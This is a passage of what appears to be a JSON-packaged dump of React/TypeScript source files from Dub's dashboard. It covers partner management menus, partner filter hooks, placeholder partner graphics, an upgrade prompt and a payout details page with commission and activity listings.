invite.\");\n      },\n      onError: ({ error }) => {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  return (\n    <>\n      <ChangeGroupModal />\n      <ArchivePartnerModal />\n      <BanPartnerModal />\n      <UnbanPartnerModal />\n      <DeactivatePartnerModal />\n      <ReactivatePartnerModal />\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"focus:outline-none\">\n            <Command.List className=\"w-screen text-sm focus-visible:outline-none sm:w-auto sm:min-w-[200px]\">\n              {row.original.status === \"invited\" ? (\n                <Command.Group className=\"grid gap-px p-1.5\">\n                  <MenuItem\n                    icon={Users6}\n                    label=\"Change group\"\n                    onSelect={() => {\n                      setShowChangeGroupModal(true);\n                      setIsOpen(false);\n                    }}\n                  />\n\n                  <MenuItem\n                    icon={\n                      isResendingInvite ? LoadingSpinner : EnvelopeArrowRight\n                    }\n                    label=\"Resend invite\"\n                    onSelect={async () => {\n                      if (row.original.status !== \"invited\") {\n                        return;\n                      }\n\n                      await resendInvite({\n                        workspaceId,\n                        partnerId: row.original.id,\n                      });\n                    }}\n                  />\n\n                  <MenuItem\n                    icon={isDeletingInvite ? LoadingSpinner : Trash}\n                    label=\"Delete invite\"\n                    variant=\"danger\"\n                    onSelect={async () => {\n                      if (row.original.status !== \"invited\") {\n                        return;\n                      }\n                      if (\n                        !window.confirm(\n                          \"Are you sure you want to delete this invite? This action cannot be undone.\",\n                        )\n                      ) {\n                        return;\n                      }\n\n                      await deleteInvite({\n                        workspaceId,\n                        partnerId: row.original.id,\n                      });\n                    }}\n                  />\n                </Command.Group>\n              ) : (\n                <>\n                  <Command.Group className=\"grid gap-px p-1.5\">\n                    <MenuItem\n                      icon={MoneyBill2}\n                      label=\"View commissions\"\n                      onSelect={() => {\n                        router.push(\n                          `/${slug}/program/commissions?partnerId=${row.original.id}&interval=all`,\n                        );\n                        setIsOpen(false);\n                      }}\n                    />\n\n                    <MenuItem\n                      icon={Users6}\n                      label=\"Change group\"\n                      onSelect={() => {\n                        setShowChangeGroupModal(true);\n                        setIsOpen(false);\n                      }}\n                    />\n                  </Command.Group>\n\n                  <Command.Separator className=\"border-t border-neutral-200\" />\n\n                  <Command.Group className=\"grid gap-px p-1.5\">\n                    {![\"banned\", \"deactivated\"].includes(\n                      row.original.status,\n                    ) && (\n                      <MenuItem\n                        icon={BoxArchive}\n                        label={\n                          row.original.status === \"archived\"\n                            ? \"Unarchive partner\"\n                            : \"Archive partner\"\n                        }\n                        onSelect={() => {\n                          setShowArchivePartnerModal(true);\n                          setIsOpen(false);\n                        }}\n                      />\n                    )}\n\n                    {row.original.status === \"deactivated\" ? (\n                      <MenuItem\n                        icon={LockOpen}\n                        label=\"Reactivate partner\"\n                        onSelect={() => {\n                          setShowReactivatePartnerModal(true);\n                          setIsOpen(false);\n                        }}\n                      />\n                    ) : row.original.status !== \"banned\" ? (\n                      <MenuItem\n                        icon={CircleXmark}\n                        label=\"Deactivate partner\"\n                        onSelect={() => {\n                          setShowDeactivatePartnerModal(true);\n                          setIsOpen(false);\n                        }}\n                      />\n                    ) : null}\n\n                    {row.original.status === \"banned\" ? (\n                      <MenuItem\n                        icon={LockOpen}\n                        label=\"Unban partner\"\n                        onSelect={() => {\n                          setShowUnbanPartnerModal(true);\n                          setIsOpen(false);\n                        }}\n                      />\n                    ) : (\n                      <MenuItem\n                        icon={UserDelete}\n                        label=\"Ban partner\"\n                        variant=\"danger\"\n                        onSelect={() => {\n                          setShowBanPartnerModal(true);\n                          setIsOpen(false);\n                        }}\n                      />\n                    )}\n                  </Command.Group>\n                </>\n              )}\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  variant = \"default\",\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  variant?: \"default\" | \"danger\";\n}) {\n  const variantStyles = {\n    default: {\n      text: \"text-neutral-600\",\n      icon: \"text-neutral-500\",\n    },\n    danger: {\n      text: \"text-red-600\",\n      icon: \"text-red-600\",\n    },\n  };\n\n  const { text, icon } = variantStyles[variant];\n\n  return (\n    <Command.Item\n      className={cn(\n        \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md p-2 text-sm\",\n        \"data-[selected=true]:bg-neutral-100\",\n        text,\n      )}\n      onSelect={onSelect}\n    >\n      <IconComp className={cn(\"size-4 shrink-0\", icon)} />\n      {label}\n    </Command.Item>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/use-partner-filters.tsx",
    "content": "import useGroups from \"@/lib/swr/use-groups\";\nimport usePartnersCount from \"@/lib/swr/use-partners-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { PartnerStatusBadges } from \"@/ui/partners/partner-status-badges\";\nimport { ProgramEnrollmentStatus } from \"@dub/prisma/client\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { CircleDotted, FlagWavy, Users6 } from \"@dub/ui/icons\";\nimport { cn, COUNTRIES, nFormatter } from \"@dub/utils\";\nimport { useMemo } from \"react\";\n\nexport function usePartnerFilters(\n  extraSearchParams: Record<string, string>,\n  enabledFilters: (\"groupId\" | \"status\" | \"country\")[] = [\n    \"groupId\",\n    \"status\",\n    \"country\",\n  ],\n) {\n  const { searchParamsObj, queryParams } = useRouterStuff();\n  const { id: workspaceId, slug } = useWorkspace();\n  const status = (searchParamsObj.status ||\n    extraSearchParams.status ||\n    \"approved\") as ProgramEnrollmentStatus;\n\n  const { groups } = useGroups();\n\n  const { partnersCount: countriesCount } = usePartnersCount<\n    | {\n        country: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    groupBy: \"country\",\n    status,\n    enabled: enabledFilters.includes(\"country\"),\n  });\n\n  const { partnersCount: statusCount } = usePartnersCount<\n    | {\n        status: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    groupBy: \"status\", // here we include all statuses to get the groupBy count\n    enabled: enabledFilters.includes(\"status\"),\n  });\n\n  const { partnersCount: groupsCount } = usePartnersCount<\n    | {\n        groupId: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    groupBy: \"groupId\",\n    status,\n    enabled: enabledFilters.includes(\"groupId\"),\n  });\n\n  const filters = useMemo(\n    () => [\n      ...(enabledFilters.includes(\"groupId\")\n        ? [\n            {\n              key: \"groupId\",\n              icon: Users6,\n              label: \"Group\",\n              options:\n                groupsCount && groups\n                  ? groupsCount\n                      .filter(({ groupId }) =>\n                        groups.find(({ id }) => id === groupId),\n                      )\n                      .map(({ groupId, _count }) => {\n                        const groupData = groups.find(\n                          ({ id }) => id === groupId,\n                        )!; // coerce cause we already filtered above\n\n                        return {\n                          value: groupId,\n                          label: groupData.name,\n                          icon: <GroupColorCircle group={groupData} />,\n                          right: nFormatter(_count || 0, { full: true }),\n                          permalink: `/${slug}/program/groups/${groupData.slug}/rewards`,\n                        };\n                      })\n                      .filter((group) => group !== null)\n                  : null,\n            },\n          ]\n        : []),\n      ...(enabledFilters.includes(\"status\")\n        ? [\n            {\n              key: \"status\",\n              icon: CircleDotted,\n              label: \"Status\",\n              options:\n                statusCount\n                  ?.filter(\n                    ({ status }) => ![\"pending\", \"rejected\"].includes(status),\n                  )\n                  ?.map(({ status, _count }) => {\n                    const Icon = PartnerStatusBadges[status].icon;\n                    return {\n                      value: status,\n                      label: PartnerStatusBadges[status].label,\n                      icon: (\n                        <Icon\n                          className={cn(\n                            PartnerStatusBadges[status].className,\n                            \"size-4 bg-transparent\",\n                          )}\n                        />\n                      ),\n                      right: nFormatter(_count || 0, { full: true }),\n                    };\n                  }) ?? [],\n            },\n          ]\n        : []),\n      ...(enabledFilters.includes(\"country\")\n        ? [\n            {\n              key: \"country\",\n              icon: FlagWavy,\n              label: \"Location\",\n              getOptionIcon: (value) => (\n                <img\n                  alt={value}\n                  src={`https://hatscripts.github.io/circle-flags/flags/${value.toLowerCase()}.svg`}\n                  className=\"size-4 shrink-0\"\n                />\n              ),\n              getOptionLabel: (value) => COUNTRIES[value],\n              options:\n                countriesCount\n                  ?.filter(({ country }) => COUNTRIES[country])\n                  .map(({ country, _count }) => ({\n                    value: country,\n                    label: COUNTRIES[country],\n                    right: nFormatter(_count, { full: true }),\n                  })) ?? [],\n            },\n          ]\n        : []),\n    ],\n    [groupsCount, groups, statusCount, countriesCount],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { groupId, status, country } = searchParamsObj;\n\n    return [\n      ...(enabledFilters.includes(\"groupId\") && groupId\n        ? [{ key: \"groupId\", value: groupId }]\n        : []),\n      ...(enabledFilters.includes(\"status\") && status\n        ? [{ key: \"status\", value: status }]\n        : []),\n      ...(enabledFilters.includes(\"country\") && country\n        ? [{ key: \"country\", value: country }]\n        : []),\n    ];\n  }, [searchParamsObj]);\n\n  const onSelect = (key: string, value: any) =>\n    queryParams({\n      set: {\n        [key]: value,\n      },\n      del: \"page\",\n    });\n\n  const onRemove = (key: string) =>\n    queryParams({\n      del: [key, \"page\"],\n    });\n\n  const onRemoveAll = () =>\n    queryParams({\n      del: [\"status\", \"country\", \"groupId\", \"search\"],\n    });\n\n  const searchQuery = useMemo(\n    () =>\n      new URLSearchParams({\n        ...Object.fromEntries(\n          activeFilters.map(({ key, value }) => [key, value]),\n        ),\n        ...(searchParamsObj.search && { search: searchParamsObj.search }),\n        workspaceId: workspaceId || \"\",\n        ...extraSearchParams,\n      }).toString(),\n    [activeFilters, workspaceId, extraSearchParams],\n  );\n\n  const isFiltered = activeFilters.length > 0 || searchParamsObj.search;\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    searchQuery,\n    isFiltered,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners-graphic.tsx",
    "content": "import { capitalize, cn, nFormatter } from \"@dub/utils\";\n\nexport function PartnersGraphic() {\n  return (\n    <div\n      className=\"grid w-max grid-cols-2 overflow-hidden px-4 [mask-image:linear-gradient(black,transparent)]\"\n      aria-hidden\n    >\n      {EXAMPLE_PARTNERS.map((partner, idx) => (\n        <ExamplePartnerCell key={idx} partner={partner} />\n      ))}\n    </div>\n  );\n}\n\nconst EXAMPLE_PARTNERS = [\n  {\n    name: \"Lauren Anderson\",\n    country: \"US\",\n    revenue: 1_800,\n    payouts: 550,\n    index: 0,\n  },\n  {\n    name: \"Elias Weber\",\n    country: \"DE\",\n    revenue: 783,\n    payouts: 235,\n    index: 4,\n  },\n  {\n    name: \"Hiroshi Tanaka\",\n    country: \"JP\",\n    revenue: 19_200,\n    payouts: 5_700,\n    index: 3,\n  },\n  {\n    name: \"Mia Taylor\",\n    country: \"US\",\n    revenue: 22_600,\n    payouts: 6_800,\n    index: 1,\n  },\n];\n\nfunction ExamplePartnerCell({\n  partner,\n}: {\n  partner: (typeof EXAMPLE_PARTNERS)[number];\n}) {\n  return (\n    <div className=\"h-[104px] w-[284px] p-1\">\n      <div className=\"flex size-full select-none overflow-hidden rounded-[10px] border border-neutral-200 bg-transparent bg-white p-2\">\n        {partner && (\n          <>\n            <div\n              key={partner.index}\n              className=\"aspect-square h-full rounded-lg border border-neutral-300 bg-neutral-300\"\n              style={{\n                backgroundImage:\n                  \"url(https://assets.dub.co/partners/partner-images.jpg)\",\n                backgroundSize: \"1400%\", // 14 images\n                backgroundPositionX: (14 - (partner.index % 14)) * 100 + \"%\",\n              }}\n            />\n            <div className=\"flex h-full flex-col justify-between px-4 py-3\">\n              <div className=\"flex items-center gap-1.5\">\n                <img\n                  alt={`${partner.country} flag`}\n                  src={`https://hatscripts.github.io/circle-flags/flags/${partner.country.toLowerCase()}.svg`}\n                  className=\"size-3.5 rounded-full\"\n                />\n                <span className=\"whitespace-nowrap text-sm font-medium text-neutral-800\">\n                  {partner.name}\n                </span>\n              </div>\n              <div className=\"flex divide-x divide-neutral-200\">\n                {[\"revenue\", \"payouts\"].map((key, idx) => (\n                  <div\n                    key={key}\n                    className={cn(\"flex flex-col\", idx === 0 ? \"pr-6\" : \"pl-6\")}\n                  >\n                    <span className=\"text-xs font-medium text-neutral-400\">\n                      {capitalize(key)}\n                    </span>\n                    <span className=\"text-sm font-medium text-neutral-600\">\n                      ${nFormatter(partner[key])}\n                    </span>\n                  </div>\n                ))}\n              </div>\n            </div>\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners-upgrade-cta.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { buttonVariants } from \"@dub/ui\";\nimport { capitalize, cn, isLegacyBusinessPlan, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useMemo } from \"react\";\n\nexport function PartnersUpgradeCTA({\n  title,\n  description,\n}: {\n  title?: string;\n  description?: string;\n}) {\n  const { slug, plan, store, payoutsLimit } = useWorkspace();\n\n  const { canManageProgram } = getPlanCapabilities(plan);\n\n  const { cta, href } = useMemo(() => {\n    if (!canManageProgram || isLegacyBusinessPlan({ plan, payoutsLimit })) {\n      return {\n        cta: \"Upgrade plan\",\n        href: `/${slug}/upgrade`,\n      };\n    } else {\n      return {\n        cta: store?.programOnboarding ? \"Finish creating\" : \"Create program\",\n        href: `/${slug}/program/new`,\n      };\n    }\n  }, [canManageProgram, slug, payoutsLimit]);\n\n  return (\n    <div className=\"flex min-h-[calc(100vh-60px)] flex-col items-center justify-center gap-6 overflow-hidden px-4 py-10\">\n      <div className=\"grid w-max grid-cols-2 overflow-hidden px-4 [mask-image:linear-gradient(black,transparent)]\">\n        {EXAMPLE_PARTNERS.map((partner, idx) => (\n          <ExamplePartnerCell key={idx} partner={partner} />\n        ))}\n      </div>\n      <div className=\"max-w-sm text-pretty text-center\">\n        <span className=\"text-base font-medium text-neutral-900\">\n          {title || \"Dub Partners\"}\n        </span>\n        <p className=\"mt-2 text-pretty text-sm text-neutral-500\">\n          {description || (\n            <>\n              Kickstart viral product-led growth with powerful, branded referral\n              and affiliate programs.{\" \"}\n              <Link\n                href=\"https://dub.co/partners\"\n                target=\"_blank\"\n                className=\"text-content-default hover:text-content-emphasis font-medium transition-colors\"\n              >\n                Learn more ↗\n              </Link>\n            </>\n          )}\n        </p>\n      </div>\n      <div className=\"flex items-center gap-2\">\n        <Link\n          href={href}\n          className={cn(\n            buttonVariants({ variant: \"primary\" }),\n            \"flex h-10 items-center justify-center whitespace-nowrap rounded-lg border px-3 text-sm\",\n          )}\n        >\n          {cta}\n        </Link>\n      </div>\n    </div>\n  );\n}\n\nconst EXAMPLE_PARTNERS = [\n  {\n    name: \"Lauren Anderson\",\n    country: \"US\",\n    revenue: 1_800,\n    payouts: 550,\n    index: 0,\n  },\n  {\n    name: \"Elias Weber\",\n    country: \"DE\",\n    revenue: 783,\n    payouts: 235,\n    index: 4,\n  },\n  {\n    name: \"Hiroshi Tanaka\",\n    country: \"JP\",\n    revenue: 19_200,\n    payouts: 5_700,\n    index: 3,\n  },\n  {\n    name: \"Mia Taylor\",\n    country: \"US\",\n    revenue: 22_600,\n    payouts: 6_800,\n    index: 1,\n  },\n];\n\nfunction ExamplePartnerCell({\n  partner,\n}: {\n  partner: (typeof EXAMPLE_PARTNERS)[number];\n}) {\n  return (\n    <div className=\"h-[104px] w-[284px] p-1\">\n      <div className=\"flex size-full select-none overflow-hidden rounded-[10px] border border-neutral-200 bg-transparent bg-white p-2\">\n        {partner && (\n          <>\n            <div\n              key={partner.index}\n              className=\"aspect-square h-full rounded-lg border border-neutral-300 bg-neutral-300\"\n              style={{\n                backgroundImage:\n                  \"url(https://assets.dub.co/partners/partner-images.jpg)\",\n                backgroundSize: \"1400%\", // 14 images\n                backgroundPositionX: (14 - (partner.index % 14)) * 100 + \"%\",\n              }}\n            />\n            <div className=\"flex h-full flex-col justify-between px-4 py-3\">\n              <div className=\"flex items-center gap-1.5\">\n                <img\n                  alt={`${partner.country} flag`}\n                  src={`https://hatscripts.github.io/circle-flags/flags/${partner.country.toLowerCase()}.svg`}\n                  className=\"size-3.5 rounded-full\"\n                />\n                <span className=\"whitespace-nowrap text-sm font-medium text-neutral-800\">\n                  {partner.name}\n                </span>\n              </div>\n              <div className=\"flex divide-x divide-neutral-200\">\n                {[\"revenue\", \"payouts\"].map((key, idx) => (\n                  <div\n                    key={key}\n                    className={cn(\"flex flex-col\", idx === 0 ? \"pr-6\" : \"pl-6\")}\n                  >\n                    <span className=\"text-xs font-medium text-neutral-400\">\n                      {capitalize(key)}\n                    </span>\n                    <span className=\"text-sm font-medium text-neutral-600\">\n                      ${nFormatter(partner[key])}\n                    </span>\n                  </div>\n                ))}\n              </div>\n            </div>\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/payouts/[payoutId]/page-client.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { useFraudGroupCount } from \"@/lib/swr/use-fraud-groups-count\";\nimport { usePayout } from \"@/lib/swr/use-payout\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  CommissionResponse,\n  FraudGroupCountByPartner,\n  PayoutResponse,\n} from \"@/lib/types\";\nimport { CustomerAvatar } from \"@/ui/customers/customer-avatar\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ActivityEvent } from \"@/ui/partners/activity-event\";\nimport { CommissionTypeIcon } from \"@/ui/partners/comission-type-icon\";\nimport { CommissionRowMenu } from \"@/ui/partners/commission-row-menu\";\nimport { CommissionTypeBadge } from \"@/ui/partners/commission-type-badge\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { ConditionalLink } from \"@/ui/shared/conditional-link\";\nimport { PayoutStatus } from \"@dub/prisma/client\";\nimport {\n  Button,\n  ChevronRight,\n  CircleArrowRight,\n  CopyText,\n  MoneyBills2,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  Tooltip,\n  usePagination,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  APP_DOMAIN,\n  cn,\n  currencyFormatter,\n  fetcher,\n  formatDateTime,\n  formatDateTimeSmart,\n  OG_AVATAR_URL,\n  pluralize,\n} from \"@dub/utils\";\nimport { formatPeriod } from \"@dub/utils/src/functions/datetime\";\nimport Link from \"next/link\";\nimport { redirect, useRouter } from \"next/navigation\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\n\ntype PayoutActivityItem = {\n  status: keyof typeof PayoutStatusBadges;\n  timestamp: string | Date | null;\n  user?: PayoutResponse[\"user\"];\n};\n\nexport function PayoutDetailsPageClient() {\n  const { slug, id: workspaceId } = useWorkspace();\n  const { payout, loading, error } = usePayout();\n  const router = useRouter();\n\n  if (error?.status === 404) {\n    redirect(`/${slug}/program/payouts`);\n  }\n\n  return (\n    <PageContent\n      title={\n        loading ? (\n          <div className=\"h-7 w-40 animate-pulse rounded-md bg-neutral-200\" />\n        ) : (\n          <div className=\"flex items-center gap-1\">\n            <Link\n              href={`/${slug}/program/payouts`}\n              aria-label=\"Back to payouts\"\n              title=\"Back to payouts\"\n              className=\"bg-bg-subtle hover:bg-bg-emphasis flex size-8 shrink-0 items-center justify-center rounded-lg transition-[transform,background-color] duration-150 active:scale-95\"\n            >\n              <MoneyBills2 className=\"size-4\" />\n            </Link>\n            <div className=\"flex items-center gap-1.5\">\n              <ChevronRight className=\"text-content-subtle size-2.5 shrink-0 [&_*]:stroke-2\" />\n              <div className=\"flex items-center gap-2\">\n                {payout?.partner && (\n                  <img\n                    src={\n                      payout.partner.image ||\n                      `${OG_AVATAR_URL}${payout.partner.name}`\n                    }\n                    alt={payout.partner.name}\n                    className=\"size-5 rounded-full\"\n                  />\n                )}\n                <span className=\"text-lg font-semibold leading-7 text-neutral-900\">\n                  {payout?.partner?.name ?? \"Payout details\"}\n                </span>\n              </div>\n            </div>\n          </div>\n        )\n      }\n      controls={<PayoutConfirmButton />}\n    >\n      <PageWidthWrapper className=\"pb-10\">\n        {payout ? (\n          <PayoutDetailsContent\n            payout={payout}\n            workspaceId={workspaceId!}\n            slug={slug!}\n            router={router}\n          />\n        ) : loading ? (\n          <PayoutDetailsskeleton />\n        ) : error ? (\n          <div className=\"flex flex-col items-center justify-center gap-2 py-16 text-center\">\n            <p className=\"text-sm font-medium text-neutral-700\">\n              Failed to load payout\n            </p>\n            <p className=\"text-sm text-neutral-500\">{error.message}</p>\n          </div>\n        ) : null}\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n\nfunction PayoutDetailsContent({\n  payout,\n  workspaceId,\n  slug,\n  router,\n}: {\n  payout: NonNullable<ReturnType<typeof usePayout>[\"payout\"]>;\n  workspaceId: string;\n  slug: string;\n  router: ReturnType<typeof useRouter>;\n}) {\n  const { pagination, setPagination } = usePagination(10);\n\n  const {\n    data: commissions,\n    isLoading,\n    error,\n  } = useSWR<CommissionResponse[]>(\n    `/api/commissions?${new URLSearchParams({\n      workspaceId,\n      payoutId: payout.id,\n      interval: \"all\",\n      page: String(pagination.pageIndex),\n      pageSize: String(pagination.pageSize),\n    })}`,\n    fetcher,\n    { keepPreviousData: true },\n  );\n\n  const { data: commissionsCount } = useSWR<{ all: { count: number } }>(\n    `/api/commissions/count?${new URLSearchParams({\n      workspaceId,\n      payoutId: payout.id,\n      interval: \"all\",\n    })}`,\n    fetcher,\n  );\n\n  const invoiceData = useMemo(() => {\n    const statusBadge = PayoutStatusBadges[payout.status];\n\n    return {\n      Partner: (\n        <ConditionalLink\n          href={`/${slug}/program/partners/${payout.partner.id}`}\n        >\n          <img\n            src={\n              payout.partner.image || `${OG_AVATAR_URL}${payout.partner.name}`\n            }\n            alt={payout.partner.name}\n            className=\"mr-1.5 inline-flex size-5 rounded-full\"\n          />\n          {payout.partner.name}\n        </ConditionalLink>\n      ),\n\n      Period: formatPeriod({\n        periodStart: payout.periodStart ? new Date(payout.periodStart) : null,\n        periodEnd: payout.periodEnd ? new Date(payout.periodEnd) : null,\n      }),\n\n      Status: (\n        <StatusBadge variant={statusBadge.variant} icon={statusBadge.icon}>\n          {statusBadge.label}\n        </StatusBadge>\n      ),\n\n      Initiated: payout.initiatedAt ? (\n        <TimestampTooltip\n          timestamp={payout.initiatedAt}\n          side=\"left\"\n          rows={[\"local\", \"utc\"]}\n        >\n          <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n            {formatDateTimeSmart(payout.initiatedAt)}\n          </span>\n        </TimestampTooltip>\n      ) : (\n        \"-\"\n      ),\n\n      Paid: payout.paidAt ? (\n        <TimestampTooltip\n          timestamp={payout.paidAt}\n          side=\"left\"\n          rows={[\"local\", \"utc\"]}\n        >\n          <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n            {formatDateTimeSmart(payout.paidAt)}\n          </span>\n        </TimestampTooltip>\n      ) : (\n        \"-\"\n      ),\n\n      Amount: (\n        <div className=\"flex items-center gap-2\">\n          {currencyFormatter(payout.amount)}\n\n          {payout.mode === \"external\" && (\n            <Tooltip\n              content={\n                payout.status === PayoutStatus.pending\n                  ? `This payout will be made externally through the partner's account after approval.`\n                  : `This payout was made externally through the partner's account.`\n              }\n            >\n              <CircleArrowRight className=\"size-3.5 shrink-0 text-neutral-500\" />\n            </Tooltip>\n          )}\n        </div>\n      ),\n\n      ...(payout.invoiceId &&\n        payout.mode === \"internal\" &&\n        payout.status !== \"failed\" && {\n          Invoice: (\n            <ConditionalLink\n              href={`${APP_DOMAIN}/invoices/${payout.invoiceId}`}\n              target=\"_blank\"\n              className=\"max-w-xs truncate\"\n            >\n              {payout.invoiceId}\n            </ConditionalLink>\n          ),\n        }),\n\n      ...(payout.description && {\n        Description: payout.description,\n      }),\n\n      ...(payout.traceId && {\n        \"Trace ID\": (\n          <CopyText\n            value={payout.traceId}\n            className=\"block w-full truncate text-left font-mono text-xs text-neutral-500\"\n          >\n            {payout.traceId}\n          </CopyText>\n        ),\n      }),\n    };\n  }, [payout, slug]);\n\n  const activityItems = useMemo(() => {\n    const items: PayoutActivityItem[] = [\n      { status: \"pending\", timestamp: payout.createdAt },\n    ];\n\n    if (payout.initiatedAt) {\n      items.push({\n        status: \"processed\",\n        timestamp: payout.initiatedAt,\n        user: payout.user,\n      });\n    }\n\n    const terminalStatuses = [\n      \"completed\",\n      \"sent\",\n      \"failed\",\n      \"canceled\",\n      \"hold\",\n    ] as const;\n    const terminalStatus = terminalStatuses.find((s) => s === payout.status);\n\n    if (terminalStatus) {\n      const timestamp = payout.paidAt ?? payout.updatedAt ?? null;\n      items.push({ status: terminalStatus, timestamp });\n    }\n\n    return items.reverse();\n  }, [payout]);\n\n  const commissionsTable = useTable({\n    data:\n      commissions?.filter(\n        ({ status }) => ![\"duplicate\", \"fraud\"].includes(status),\n      ) || [],\n    columns: [\n      {\n        header: \"Details\",\n        minSize: 300,\n        size: 9999,\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-2\">\n            {[\"click\", \"custom\"].includes(row.original.type) ||\n            !row.original.customer ? (\n              <div className=\"flex size-6 items-center justify-center rounded-full bg-neutral-100\">\n                <CommissionTypeIcon\n                  type={row.original.type}\n                  className=\"size-4\"\n                />\n              </div>\n            ) : (\n              <CustomerAvatar\n                customer={row.original.customer}\n                className=\"size-6\"\n              />\n            )}\n\n            <div className=\"flex flex-col\">\n              {row.original.customer ? (\n                <Link\n                  href={`/${slug}/program/customers/${row.original.customer.id}`}\n                  onClick={(e) => e.stopPropagation()}\n                  className=\"max-w-xs truncate text-sm text-neutral-700 hover:underline\"\n                >\n                  {row.original.customer.email || row.original.customer.name}\n                </Link>\n              ) : (\n                <span className=\"max-w-xs truncate text-sm text-neutral-700\">\n                  {row.original.type === \"click\"\n                    ? `${row.original.quantity} ${pluralize(\"click\", row.original.quantity)}`\n                    : \"Custom commission\"}\n                </span>\n              )}\n              <span className=\"text-xs text-neutral-500\">\n                {formatDateTime(row.original.createdAt)}\n              </span>\n            </div>\n          </div>\n        ),\n      },\n      {\n        id: \"type\",\n        header: \"Type\",\n        minSize: 150,\n        size: 150,\n        maxSize: 150,\n        cell: ({ row }) => (\n          <CommissionTypeBadge type={row.original.type ?? \"sale\"} />\n        ),\n      },\n      {\n        id: \"total\",\n        header: \"Total\",\n        minSize: 120,\n        size: 120,\n        maxSize: 120,\n        cell: ({ row }) => currencyFormatter(row.original.earnings),\n      },\n      {\n        id: \"menu\",\n        enableHiding: false,\n        minSize: 48,\n        size: 48,\n        cell: ({ row }) => <CommissionRowMenu row={row} />,\n      },\n    ],\n    columnPinning: { right: [\"menu\"] },\n    onRowClick: (row, e) => {\n      const url = `/${slug}/program/commissions/${row.original.id}`;\n      if (e.metaKey || e.ctrlKey) window.open(url, \"_blank\");\n      else router.push(url);\n    },\n    onRowAuxClick: (row) =>\n      window.open(`/${slug}/program/commissions/${row.original.id}`, \"_blank\"),\n    rowProps: (row) => ({\n      onPointerEnter: () =>\n        router.prefetch(`/${slug}/program/commissions/${row.original.id}`),\n    }),\n    thClassName: (id) =>\n      cn(id === \"menu\" && \"[&>div]:justify-end\", \"border-l-0\"),\n    tdClassName: (id) => cn(id === \"menu\" && \"text-right\", \"border-l-0\"),\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    resourceName: (p) => `commission${p ? \"s\" : \"\"}`,\n    pagination,\n    paginationAllRowsHref: `/${slug}/program/commissions?payoutId=${payout.id}&interval=all`,\n    onPaginationChange: setPagination,\n    rowCount: commissionsCount?.all?.count ?? commissions?.length ?? 0,\n    loading: isLoading,\n    error: error ? \"Failed to load commissions\" : undefined,\n  } as any);\n\n  return (\n    <div className=\"flex flex-col gap-6 lg:flex-row\">\n      <div className=\"order-last min-w-0 flex-1 lg:order-first\">\n        <Table {...commissionsTable} />\n\n        <div className=\"mt-6\">\n          <h3 className=\"mb-4 text-base font-medium text-neutral-900\">\n            Activity\n          </h3>\n          <div className=\"flex flex-col\">\n            {activityItems.map((item, index) => {\n              const badge = PayoutStatusBadges[item.status];\n\n              return (\n                <ActivityEvent\n                  key={index}\n                  icon={badge.icon}\n                  timestamp={item.timestamp}\n                  isLast={index === activityItems.length - 1}\n                >\n                  <span className=\"text-sm text-neutral-700\">Payout</span>\n                  <StatusBadge variant={badge.variant} icon={null}>\n                    {badge.label}\n                  </StatusBadge>\n                  {item.user && (\n                    <>\n                      <span className=\"text-sm text-neutral-500\">by</span>\n                      <div className=\"flex h-6 items-center gap-2 rounded-lg bg-neutral-100 px-2 py-1\">\n                        <img\n                          src={\n                            item.user.image || `${OG_AVATAR_URL}${item.user.id}`\n                          }\n                          alt={item.user.name ?? \"\"}\n                          className=\"size-4 rounded-full\"\n                        />\n                        <span className=\"text-[13px] text-sm text-neutral-700\">\n                          {item.user.name}\n                        </span>\n                      </div>\n                    </>\n                  )}\n                </ActivityEvent>\n              );\n            })}\n          </div>\n        </div>\n      </div>\n\n      <div className=\"order-first w-full shrink-0 lg:order-last lg:w-[360px]\">\n        <div className=\"rounded-xl border border-neutral-200 